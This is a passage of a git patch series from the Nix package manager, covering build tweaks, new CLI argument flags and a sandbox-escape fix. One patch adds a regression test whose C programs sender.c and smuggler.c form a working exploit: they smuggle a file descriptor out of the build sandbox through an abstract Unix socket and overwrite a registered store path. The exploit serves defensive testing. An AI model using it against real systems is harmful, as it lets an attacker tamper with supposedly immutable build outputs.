pkgs.stdenv)) // + (makeShells "static" nixpkgsFor.${system}.static) // + (lib.genAttrs shellCrossSystems (crossSystem: let pkgs = nixpkgsFor.${system}.cross.${crossSystem}; in makeShell pkgs pkgs.stdenv)) // { default = self.devShells.${system}.native-stdenvPackages; } diff --git a/package.nix b/package.nix index 20796a386..1f895e301 100644 --- a/package.nix +++ b/package.nix @@ -154,7 +154,7 @@ in { in fileset.toSource { root = ./.; - fileset = fileset.intersection baseFiles (fileset.unions ([ + fileset = fileset.intersect baseFiles (fileset.unions ([ # For configure ./.version ./configure.ac diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index a7c34ab4a..0d9faa7c6 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1208,7 +1208,7 @@ StorePath LocalStore::addToStoreFromDump( Path tempDir; AutoCloseFD tempDirFd; - bool methodsMatch = ContentAddressMethod(FileIngestionMethod(dumpMethod)) == hashMethod; + bool methodsMatch = (FileIngestionMethod) dumpMethod == hashMethod; /* If the methods don't match, our streaming hash of the dump is the wrong sort, and we need to rehash. */ diff --git a/tests/functional/git-hashing/common.sh b/tests/functional/git-hashing/common.sh index 572cea438..5de96e74f 100644 --- a/tests/functional/git-hashing/common.sh +++ b/tests/functional/git-hashing/common.sh @@ -4,7 +4,7 @@ clearStore clearCache # Need backend to support git-hashing too -requireDaemonNewerThan "2.19" +requireDaemonNewerThan "2.18.0pre20230908" enableFeatures "git-hashing" diff --git a/tests/functional/impure-env.sh b/tests/functional/impure-env.sh index cfea4cae9..d9e4a34a2 100644 --- a/tests/functional/impure-env.sh +++ b/tests/functional/impure-env.sh @@ -1,7 +1,7 @@ source common.sh # Needs the config option 'impure-env' to work -requireDaemonNewerThan "2.19.0" +requireDaemonNewerThan "2.18.0pre20230816" enableFeatures "configurable-impure-env" restartDaemon From 5a2985431c8b03be7d434a39ea62a8b3d26e4f51 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 29 Feb 2024 14:52:31 -0500 Subject: [PATCH 0149/1251] Revert "Revert "Merge pull request #9546 from NixOS/nixos-23.11"" This reverts commit d6d7d2cb4617c571e1ee7c152818f3b7a07a5f81. --- Makefile | 1 + flake.lock | 8 ++++---- flake.nix | 26 +++++++++++--------------- package.nix | 2 +- src/libstore/local-store.cc | 2 +- tests/functional/git-hashing/common.sh | 2 +- tests/functional/impure-env.sh | 2 +- 7 files changed, 20 insertions(+), 23 deletions(-) diff --git a/Makefile b/Makefile index a33614d26..af00e58b2 100644 --- a/Makefile +++ b/Makefile @@ -69,6 +69,7 @@ ifeq ($(OPTIMIZE), 1) GLOBAL_LDFLAGS += $(CXXLTO) else GLOBAL_CXXFLAGS += -O0 -U_FORTIFY_SOURCE + unexport NIX_HARDENING_ENABLE endif include mk/platform.mk diff --git a/flake.lock b/flake.lock index f0efb4036..bb2e400c0 100644 --- a/flake.lock +++ b/flake.lock @@ -34,16 +34,16 @@ }, "nixpkgs": { "locked": { - "lastModified": 1705033721, - "narHash": "sha256-K5eJHmL1/kev6WuqyqqbS1cdNnSidIZ3jeqJ7GbrYnQ=", + "lastModified": 1709083642, + "narHash": "sha256-7kkJQd4rZ+vFrzWu8sTRtta5D1kBG0LSRYAfhtmMlSo=", "owner": "NixOS", "repo": "nixpkgs", - "rev": "a1982c92d8980a0114372973cbdfe0a307f1bdea", + "rev": "b550fe4b4776908ac2a861124307045f8e717c8e", "type": "github" }, "original": { "owner": "NixOS", - "ref": "nixos-23.05-small", + "ref": "release-23.11", "repo": "nixpkgs", "type": "github" } diff --git a/flake.nix b/flake.nix index 0bc70768e..42aaace67 100644 --- a/flake.nix +++ b/flake.nix @@ -1,7 +1,9 @@ { description = "The purely functional package manager"; - inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-23.05-small"; + # TODO switch to nixos-23.11-small + # https://nixpk.gs/pr-tracker.html?pr=291954 + inputs.nixpkgs.url = "github:NixOS/nixpkgs/release-23.11"; inputs.nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2"; inputs.flake-compat = { url = "github:edolstra/flake-compat"; flake = false; }; inputs.libgit2 = { url = "github:libgit2/libgit2"; flake = false; }; @@ -10,20 +12,10 @@ let inherit (nixpkgs) lib; - - # Experimental fileset library: https://github.com/NixOS/nixpkgs/pull/222981 - # Not an "idiomatic" flake input because: - # - Propagation to dependent locks: https://github.com/NixOS/nix/issues/7730 - # - Subflake would download redundant and huge parent flake - # - No git tree hash support: https://github.com/NixOS/nix/issues/6044 - inherit (import (builtins.fetchTarball { url = "https://github.com/NixOS/nix/archive/1bdcd7fc8a6a40b2e805bad759b36e64e911036b.tar.gz"; sha256 = "sha256:14ljlpdsp4x7h1fkhbmc4bd3vsqnx8zdql4h3037wh09ad6a0893"; })) - fileset; + inherit (lib) fileset; officialRelease = false; - # Set to true to build the release notes for the next release. - buildUnreleasedNotes = false; - version = lib.fileContents ./.version + versionSuffix; versionSuffix = if officialRelease @@ -404,8 +396,11 @@ # Make bash completion work. XDG_DATA_DIRS+=:$out/share ''; + nativeBuildInputs = attrs.nativeBuildInputs or [] - ++ lib.optional stdenv.cc.isClang pkgs.buildPackages.bear + # TODO: Remove the darwin check once + # https://github.com/NixOS/nixpkgs/pull/291814 is available + ++ lib.optional (stdenv.cc.isClang && !stdenv.buildPlatform.isDarwin) pkgs.buildPackages.bear ++ lib.optional (stdenv.cc.isClang && stdenv.hostPlatform == stdenv.buildPlatform) pkgs.buildPackages.clang-tools; }); in @@ -417,8 +412,9 @@ (forAllStdenvs (stdenvName: makeShell pkgs pkgs.${stdenvName})); in (makeShells "native" nixpkgsFor.${system}.native) // - (makeShells "static" nixpkgsFor.${system}.static) // - (lib.genAttrs shellCrossSystems (crossSystem: let pkgs = nixpkgsFor.${system}.cross.${crossSystem}; in makeShell pkgs pkgs.stdenv)) // + (lib.optionalAttrs (!nixpkgsFor.${system}.native.stdenv.isDarwin) + (makeShells "static" nixpkgsFor.${system}.static)) // + (lib.genAttrs shellCrossSystems (crossSystem: let pkgs = nixpkgsFor.${system}.cross.${crossSystem}; in makeShell pkgs pkgs.stdenv)) // { default = self.devShells.${system}.native-stdenvPackages; } diff --git a/package.nix b/package.nix index 1f895e301..20796a386 100644 --- a/package.nix +++ b/package.nix @@ -154,7 +154,7 @@ in { in fileset.toSource { root = ./.; - fileset = fileset.intersect baseFiles (fileset.unions ([ + fileset = fileset.intersection baseFiles (fileset.unions ([ # For configure ./.version ./configure.ac diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 0d9faa7c6..a7c34ab4a 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1208,7 +1208,7 @@ StorePath LocalStore::addToStoreFromDump( Path tempDir; AutoCloseFD tempDirFd; - bool methodsMatch = (FileIngestionMethod) dumpMethod == hashMethod; + bool methodsMatch = ContentAddressMethod(FileIngestionMethod(dumpMethod)) == hashMethod; /* If the methods don't match, our streaming hash of the dump is the wrong sort, and we need to rehash. */ diff --git a/tests/functional/git-hashing/common.sh b/tests/functional/git-hashing/common.sh index 5de96e74f..572cea438 100644 --- a/tests/functional/git-hashing/common.sh +++ b/tests/functional/git-hashing/common.sh @@ -4,7 +4,7 @@ clearStore clearCache # Need backend to support git-hashing too -requireDaemonNewerThan "2.18.0pre20230908" +requireDaemonNewerThan "2.19" enableFeatures "git-hashing" diff --git a/tests/functional/impure-env.sh b/tests/functional/impure-env.sh index d9e4a34a2..cfea4cae9 100644 --- a/tests/functional/impure-env.sh +++ b/tests/functional/impure-env.sh @@ -1,7 +1,7 @@ source common.sh # Needs the config option 'impure-env' to work -requireDaemonNewerThan "2.18.0pre20230816" +requireDaemonNewerThan "2.19.0" enableFeatures "configurable-impure-env" restartDaemon From a55c6a0f4749084a5d85bb90a2de2b08349b6f37 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Mon, 12 Feb 2024 21:28:20 +0100 Subject: [PATCH 0150/1251] Add a NixOS test for the sandbox escape Test that we can't leverage abstract unix domain sockets to leak file descriptors out of the sandbox and modify the path after it has been registered. --- tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++ tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++ tests/nixos/default.nix | 4 +- 4 files changed, 224 insertions(+), 1 deletion(-) create mode 100644 tests/nixos/ca-fd-leak/default.nix create mode 100644 tests/nixos/ca-fd-leak/sender.c create mode 100644 tests/nixos/ca-fd-leak/smuggler.c diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix new file mode 100644 index 000000000..40e57ea02 --- /dev/null +++ b/tests/nixos/ca-fd-leak/default.nix @@ -0,0 +1,90 @@ +# Nix is a sandboxed build system. But Not everything can be handled inside its +# sandbox: Network access is normally blocked off, but to download sources, a +# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". +# The detail here is not important, but in our case it means that the hash of +# the output has to be known beforehand. And if you know that, you get a few +# rights: you no longer run inside a special network namespace! +# +# Now, Linux has a special feature, that not many other unices do: Abstract +# unix domain sockets! Not only that, but those are namespaced using the +# network namespace! That means that we have a way to create sockets that are +# available in every single fixed-output derivation, and also all processes +# running on the host machine! Now, this wouldn't be that much of an issue, as, +# well, the whole idea is that the output is pure, and all processes in the +# sandbox are killed before finalizing the output. What if we didn't need those +# processes at all? Unix domain sockets have a semi-known trick: you can pass +# file descriptors around! +# This makes it possible to exfiltrate a file-descriptor with write access to +# $out outside of the sandbox. And that file-descriptor can be used to modify +# the contents of the store path after it has been registered. + +{ config, ... }: + +let + pkgs = config.nodes.machine.nixpkgs.pkgs; + + # Simple C program that sends a a file descriptor to `$out` to a Unix + # domain socket. + # Compiled statically so that we can easily send it to the VM and use it + # inside the build sandbox. + sender = pkgs.runCommandWith { + name = "sender"; + stdenv = pkgs.pkgsStatic.stdenv; + } '' + $CC -static -o $out ${./sender.c} + ''; + + # Okay, so we have a file descriptor shipped out of the FOD now. But the + # Nix store is read-only, right? .. Well, yeah. But this file descriptor + # lives in a mount namespace where it is not! So even when this file exists + # in the actual Nix store, we're capable of just modifying its contents... + smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); + + # The abstract socket path used to exfiltrate the file descriptor + socketName = "FODSandboxExfiltrationSocket"; +in +{ + name = "ca-fd-leak"; + + nodes.machine = + { config, lib, pkgs, ... }: + { virtualisation.writableStore = true; + nix.settings.substituters = lib.mkForce [ ]; + virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; + }; + + testScript = { nodes }: '' + start_all() + + machine.succeed("echo hello") + # Start the smuggler server + machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") + + # Build the smuggled derivation. + # This will connect to the smuggler server and send it the file descriptor + machine.succeed(r""" + nix-build -E ' + builtins.derivation { + name = "smuggled"; + system = builtins.currentSystem; + # look ma, no tricks! + outputHashMode = "flat"; + outputHashAlgo = "sha256"; + outputHash = builtins.hashString "sha256" "hello, world\n"; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; + }' + """.strip()) + + + # Tell the smuggler server that we're done + machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") + + # Check that the file was modified + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" + """.strip()) + ''; + +} diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c new file mode 100644 index 000000000..75e54fc8f --- /dev/null +++ b/tests/nixos/ca-fd-leak/sender.c @@ -0,0 +1,65 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int main(int argc, char **argv) { + + assert(argc == 2); + + int sock = socket(AF_UNIX, SOCK_STREAM, 0); + + // Set up a abstract domain socket path to connect to. + struct sockaddr_un data; + data.sun_family = AF_UNIX; + data.sun_path[0] = 0; + strcpy(data.sun_path + 1, argv[1]); + + // Now try to connect, To ensure we work no matter what order we are + // executed in, just busyloop here. + int res = -1; + while (res < 0) { + res = connect(sock, (const struct sockaddr *)&data, + offsetof(struct sockaddr_un, sun_path) + + strlen(argv[1]) + + 1); + if (res < 0 && errno != ECONNREFUSED) perror("connect"); + if (errno != ECONNREFUSED) break; + } + + // Write our message header. + struct msghdr msg = {0}; + msg.msg_control = malloc(128); + msg.msg_controllen = 128; + + // Write an SCM_RIGHTS message containing the output path. + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); + hdr->cmsg_len = CMSG_LEN(sizeof(int)); + hdr->cmsg_level = SOL_SOCKET; + hdr->cmsg_type = SCM_RIGHTS; + int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); + memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); + + msg.msg_controllen = CMSG_SPACE(sizeof(int)); + + // Write a single null byte too. + msg.msg_iov = malloc(sizeof(struct iovec)); + msg.msg_iov[0].iov_base = ""; + msg.msg_iov[0].iov_len = 1; + msg.msg_iovlen = 1; + + // Send it to the othher side of this connection. + res = sendmsg(sock, &msg, 0); + if (res < 0) perror("sendmsg"); + int buf; + + // Wait for the server to close the socket, implying that it has + // received the commmand. + recv(sock, (void *)&buf, sizeof(int), 0); +} diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c new file mode 100644 index 000000000..82acf37e6 --- /dev/null +++ b/tests/nixos/ca-fd-leak/smuggler.c @@ -0,0 +1,66 @@ +#include +#include +#include +#include +#include +#include +#include + +int main(int argc, char **argv) { + + assert(argc == 2); + + int sock = socket(AF_UNIX, SOCK_STREAM, 0); + + // Bind to the socket. + struct sockaddr_un data; + data.sun_family = AF_UNIX; + data.sun_path[0] = 0; + strcpy(data.sun_path + 1, argv[1]); + int res = bind(sock, (const struct sockaddr *)&data, + offsetof(struct sockaddr_un, sun_path) + + strlen(argv[1]) + + 1); + if (res < 0) perror("bind"); + + res = listen(sock, 1); + if (res < 0) perror("listen"); + + int smuggling_fd = -1; + + // Accept the connection a first time to receive the file descriptor. + fprintf(stderr, "%s\n", "Waiting for the first connection"); + int a = accept(sock, 0, 0); + if (a < 0) perror("accept"); + + struct msghdr msg = {0}; + msg.msg_control = malloc(128); + msg.msg_controllen = 128; + + // Receive the file descriptor as sent by the smuggler. + recvmsg(a, &msg, 0); + + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); + while (hdr) { + if (hdr->cmsg_level == SOL_SOCKET + && hdr->cmsg_type == SCM_RIGHTS) { + + // Grab the copy of the file descriptor. + memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); + } + + hdr = CMSG_NXTHDR(&msg, hdr); + } + fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); + close(a); + + // Wait for a second connection, which will tell us that the build is + // done + a = accept(sock, 0, 0); + fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); + // Write a new content to the file + if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); + char * new_content = "Pwned\n"; + int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); + if (written_bytes != strlen(new_content)) perror("write"); +} diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 8f4fa2621..98de31e13 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -109,7 +109,7 @@ in nix.package = lib.mkForce pkgs.nixVersions.nix_2_13; }; }; - + # TODO: (nixpkgs update) remoteBuildsSshNg_remote_2_18 = ... # Test our Nix as a builder for clients that are older @@ -156,4 +156,6 @@ in (system: runNixOSTestFor system ./setuid.nix); fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; + + ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; } From c3878f510ec12ca6bf24505989e7463249dab61a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Tue, 13 Feb 2024 08:28:02 +0100 Subject: [PATCH 0151/1251] Copy the output of fixed-output derivations before registering them It is possible to exfiltrate a file descriptor out of the build sandbox of FODs, and use it to modify the store path after it has been registered. To avoid that issue, don't register the output of the build, but a copy of it (that will be free of any leaked file descriptor). --- src/libstore/build/local-derivation-goal.cc | 6 ++++++ src/libutil/file-system.cc | 5 +++++ src/libutil/file-system.hh | 7 +++++++ 3 files changed, 18 insertions(+) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index a9b8de123..d2e2f523e 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2543,6 +2543,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() [&](const DerivationOutput::CAFixed & dof) { auto & wanted = dof.ca.hash; + // Replace the output by a fresh copy of itself to make sure + // that there's no stale file descriptor pointing to it + Path tmpOutput = actualPath + ".tmp"; + renameFile(actualPath, tmpOutput); + copyFile(tmpOutput, actualPath, true); + auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { .method = dof.ca.method, .hashAlgo = wanted.algo, diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index b0a3f0797..9dd6a5133 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -617,6 +617,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) } } +void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) +{ + return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); +} + void renameFile(const Path & oldName, const Path & newName) { fs::rename(oldName, newName); diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 464efc242..963265e34 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -186,6 +186,13 @@ void renameFile(const Path & src, const Path & dst); */ void moveFile(const Path & src, const Path & dst); +/** + * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is + * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but + * with the guaranty that the destination will be “fresh”, with no stale inode + * or file descriptor pointing to it). + */ +void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); /** * Automatic cleanup of resources. From 65b79c52c66643a04bd9eb69b92d7e5c5587ca64 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= <7226587+thufschmitt@users.noreply.github.com> Date: Wed, 21 Feb 2024 17:32:36 +0100 Subject: [PATCH 0152/1251] Fix a typo in a test comment Co-authored-by: Valentin Gagarin --- tests/nixos/ca-fd-leak/default.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix index 40e57ea02..a6ae72adc 100644 --- a/tests/nixos/ca-fd-leak/default.nix +++ b/tests/nixos/ca-fd-leak/default.nix @@ -80,7 +80,7 @@ in # Tell the smuggler server that we're done machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") - # Check that the file was modified + # Check that the file was not modified machine.succeed(r""" cat ./result test "$(cat ./result)" = "hello, world" From cd9baa18093cf863a852334721ea972bcd0c5902 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Fri, 1 Mar 2024 09:31:05 +0100 Subject: [PATCH 0153/1251] Add release notes --- doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md new file mode 100644 index 000000000..ed451711e --- /dev/null +++ b/doc/manual/rl-next/fod-sandbox-escape.md @@ -0,0 +1,14 @@ +--- +synopsis: Fix a FOD sandbox escape +issues: +prs: +--- + +Cooperating Nix derivations could send file descriptors to files in the Nix +store to each other via Unix domain sockets in the abstract namespace. This +allowed one derivation to modify the output of the other derivation, after Nix +has registered the path as "valid" and immutable in the Nix database. +In particular, this allowed the output of fixed-output derivations to be +modified from their expected content. + +This isn't the case any more. From d72ee91d07a286b18862235792326297199a0d75 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 1 Mar 2024 14:14:14 +0100 Subject: [PATCH 0154/1251] Clean up --arg processing --- src/libcmd/common-eval-args.cc | 20 ++++++++++++-------- src/libcmd/common-eval-args.hh | 7 ++++++- 2 files changed, 18 insertions(+), 9 deletions(-) diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 444ff81c9..ed2c126a4 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -20,7 +20,7 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the value *expr* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "expr"}, - .handler = {[&](std::string name, std::string expr) { autoArgs[name] = 'E' + expr; }} + .handler = {[&](std::string name, std::string expr) { autoArgs.insert_or_assign(name, AutoArg{AutoArgExpr(expr)}); }} }); addFlag({ @@ -28,7 +28,7 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the string *string* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "string"}, - .handler = {[&](std::string name, std::string s) { autoArgs[name] = 'S' + s; }}, + .handler = {[&](std::string name, std::string s) { autoArgs.insert_or_assign(name, AutoArg{AutoArgString(s)}); }}, }); addFlag({ @@ -154,13 +154,17 @@ MixEvalArgs::MixEvalArgs() Bindings * MixEvalArgs::getAutoArgs(EvalState & state) { auto res = state.buildBindings(autoArgs.size()); - for (auto & i : autoArgs) { + for (auto & [name, arg] : autoArgs) { auto v = state.allocValue(); - if (i.second[0] == 'E') - state.mkThunk_(*v, state.parseExprFromString(i.second.substr(1), state.rootPath("."))); - else - v->mkString(((std::string_view) i.second).substr(1)); - res.insert(state.symbols.create(i.first), v); + std::visit(overloaded { + [&](const AutoArgExpr & arg) { + state.mkThunk_(*v, state.parseExprFromString(arg.expr, state.rootPath("."))); + }, + [&](const AutoArgString & arg) { + v->mkString(arg.s); + } + }, arg); + res.insert(state.symbols.create(name), v); } return res.finish(); } diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 2eb63e15d..2e2f18385 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -26,7 +26,12 @@ struct MixEvalArgs : virtual Args, virtual MixRepair std::optional evalStoreUrl; private: - std::map autoArgs; + struct AutoArgExpr { std::string expr; }; + struct AutoArgString { std::string s; }; + + using AutoArg = std::variant; + + std::map autoArgs; }; SourcePath lookupFileArg(EvalState & state, std::string_view s, const Path * baseDir = nullptr); From 291b10c607e3f9d19acee692ac2488056e53eeee Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 1 Mar 2024 14:35:27 +0100 Subject: [PATCH 0155/1251] Add --arg-from-file for reading a string from a file --- src/libcmd/common-eval-args.cc | 12 ++++++++++++ src/libcmd/common-eval-args.hh | 3 ++- tests/functional/eval.sh | 8 ++++++++ 3 files changed, 22 insertions(+), 1 deletion(-) diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index ed2c126a4..89df67406 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -31,6 +31,15 @@ MixEvalArgs::MixEvalArgs() .handler = {[&](std::string name, std::string s) { autoArgs.insert_or_assign(name, AutoArg{AutoArgString(s)}); }}, }); + addFlag({ + .longName = "arg-from-file", + .description = "Pass the contents of file *path* as the argument *name* to Nix functions.", + .category = category, + .labels = {"name", "path"}, + .handler = {[&](std::string name, std::string path) { autoArgs.insert_or_assign(name, AutoArg{AutoArgFile(path)}); }}, + .completer = completePath + }); + addFlag({ .longName = "include", .shortName = 'I', @@ -162,6 +171,9 @@ Bindings * MixEvalArgs::getAutoArgs(EvalState & state) }, [&](const AutoArgString & arg) { v->mkString(arg.s); + }, + [&](const AutoArgFile & arg) { + v->mkString(readFile(arg.path)); } }, arg); res.insert(state.symbols.create(name), v); diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 2e2f18385..9f4da4231 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -28,8 +28,9 @@ struct MixEvalArgs : virtual Args, virtual MixRepair private: struct AutoArgExpr { std::string expr; }; struct AutoArgString { std::string s; }; + struct AutoArgFile { std::filesystem::path path; }; - using AutoArg = std::variant; + using AutoArg = std::variant; std::map autoArgs; }; diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh index b81bb1e2c..321593670 100644 --- a/tests/functional/eval.sh +++ b/tests/functional/eval.sh @@ -41,3 +41,11 @@ mkdir -p $TEST_ROOT/xyzzy $TEST_ROOT/foo ln -sfn ../xyzzy $TEST_ROOT/foo/bar printf 123 > $TEST_ROOT/xyzzy/default.nix [[ $(nix eval --impure --expr "import $TEST_ROOT/foo/bar") = 123 ]] + +# Test --arg-from-file. +[[ "$(nix eval --raw --arg-from-file foo config.nix --expr '{ foo }: { inherit foo; }' foo)" = "$(cat config.nix)" ]] + +# Check that special(-ish) files are drained. +if [[ -e /proc/version ]]; then + [[ "$(nix eval --raw --arg-from-file foo /proc/version --expr '{ foo }: { inherit foo; }' foo)" = "$(cat /proc/version)" ]] +fi From 8ce1f6800b9eef394d2cb9dffdf99e7a6ffec64a Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 1 Mar 2024 14:39:42 +0100 Subject: [PATCH 0156/1251] Add --arg-from-stdin to read an argument from stdin --- src/libcmd/common-eval-args.cc | 11 +++++++++++ src/libcmd/common-eval-args.hh | 3 ++- tests/functional/eval.sh | 3 +++ 3 files changed, 16 insertions(+), 1 deletion(-) diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 89df67406..b87bbbc27 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -40,6 +40,14 @@ MixEvalArgs::MixEvalArgs() .completer = completePath }); + addFlag({ + .longName = "arg-from-stdin", + .description = "Pass the contents of stdin as the argument *name* to Nix functions.", + .category = category, + .labels = {"name"}, + .handler = {[&](std::string name) { autoArgs.insert_or_assign(name, AutoArg{AutoArgStdin{}}); }}, + }); + addFlag({ .longName = "include", .shortName = 'I', @@ -174,6 +182,9 @@ Bindings * MixEvalArgs::getAutoArgs(EvalState & state) }, [&](const AutoArgFile & arg) { v->mkString(readFile(arg.path)); + }, + [&](const AutoArgStdin & arg) { + v->mkString(readFile(STDIN_FILENO)); } }, arg); res.insert(state.symbols.create(name), v); diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 9f4da4231..7548bd3b7 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -29,8 +29,9 @@ private: struct AutoArgExpr { std::string expr; }; struct AutoArgString { std::string s; }; struct AutoArgFile { std::filesystem::path path; }; + struct AutoArgStdin { }; - using AutoArg = std::variant; + using AutoArg = std::variant; std::map autoArgs; }; diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh index 321593670..c6a475cd0 100644 --- a/tests/functional/eval.sh +++ b/tests/functional/eval.sh @@ -49,3 +49,6 @@ printf 123 > $TEST_ROOT/xyzzy/default.nix if [[ -e /proc/version ]]; then [[ "$(nix eval --raw --arg-from-file foo /proc/version --expr '{ foo }: { inherit foo; }' foo)" = "$(cat /proc/version)" ]] fi + +# Test --arg-from-stdin. +[[ "$(echo bla | nix eval --raw --arg-from-stdin foo --expr '{ foo }: { inherit foo; }' foo)" = bla ]] From 1bc89b588b04b31d14398da015c0aa6693942a67 Mon Sep 17 00:00:00 2001 From: med8bra Date: Thu, 29 Feb 2024 13:27:48 +0100 Subject: [PATCH 0157/1251] doc(xp-feature): add issue url in experimental feature details --- src/libutil/experimental-features.cc | 30 +++++++++++++++++++++++++--- 1 file changed, 27 insertions(+), 3 deletions(-) diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 9b46fc5b0..374e674af 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -1,4 +1,5 @@ #include "experimental-features.hh" +#include "fmt.hh" #include "util.hh" #include "nlohmann/json.hpp" @@ -10,6 +11,7 @@ struct ExperimentalFeatureDetails ExperimentalFeature tag; std::string_view name; std::string_view description; + std::string_view trackingUrl; }; /** @@ -35,6 +37,7 @@ constexpr std::array xpFeatureDetails [__contentAddressed](@docroot@/language/advanced-attributes.md#adv-attr-__contentAddressed) for details. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/35", }, { .tag = Xp::ImpureDerivations, @@ -65,6 +68,7 @@ constexpr std::array xpFeatureDetails This is a more explicit alternative to using [`builtins.currentTime`](@docroot@/language/builtin-constants.md#builtins-currentTime). )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/42", }, { .tag = Xp::Flakes, @@ -73,6 +77,7 @@ constexpr std::array xpFeatureDetails Enable flakes. See the manual entry for [`nix flake`](@docroot@/command-ref/new-cli/nix3-flake.md) for details. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/27", }, { .tag = Xp::FetchTree, @@ -86,6 +91,7 @@ constexpr std::array xpFeatureDetails Enabling just this feature serves as a "release candidate", allowing users to try it out in isolation. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/31", }, { .tag = Xp::NixCommand, @@ -94,6 +100,7 @@ constexpr std::array xpFeatureDetails Enable the new `nix` subcommands. See the manual on 